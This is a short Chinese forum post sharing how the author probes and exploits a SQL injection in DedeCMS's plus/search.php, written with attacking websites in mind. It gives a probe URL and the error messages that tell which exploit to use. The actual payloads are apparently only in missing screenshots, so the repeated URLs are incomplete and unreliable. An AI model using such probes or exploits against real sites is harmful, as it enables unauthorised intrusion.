【火爆】dedecms plus/search.php 注入漏洞利用方式
哎。没意识，我一个月前就发现了这个漏洞，一直也没去黑站放那 现在狗卵的什么 知道创宇 发出来了。郁闷。。可惜了我的洞辛苦看了2天的dedecms漏洞就这样没了。既然已经发出来了，我就把我自己搞的exp发下吧。。唉。
我一般是这样测试的：
提交 mumaasp.com/plus/search.php?keyword=as&typeArr=a
看结果如果提示
Safe Alert: Request Error step 2 !
那么直接用下面的exp
mumaasp.com/plus/search.php?keyword=as&typeArr=a
QQ截图20130119225931.jpg
看结果如果提示
Safe Alert: Request Error step 1 !
那么直接用下面的exp
mumaasp.com/plus/search.php?keyword=as&typeArr=a
QQ截图20130119225757.jpg
如果正常显示证明漏洞不存在了。
from:http://www.mumaasp.com/180.html
页:
[1]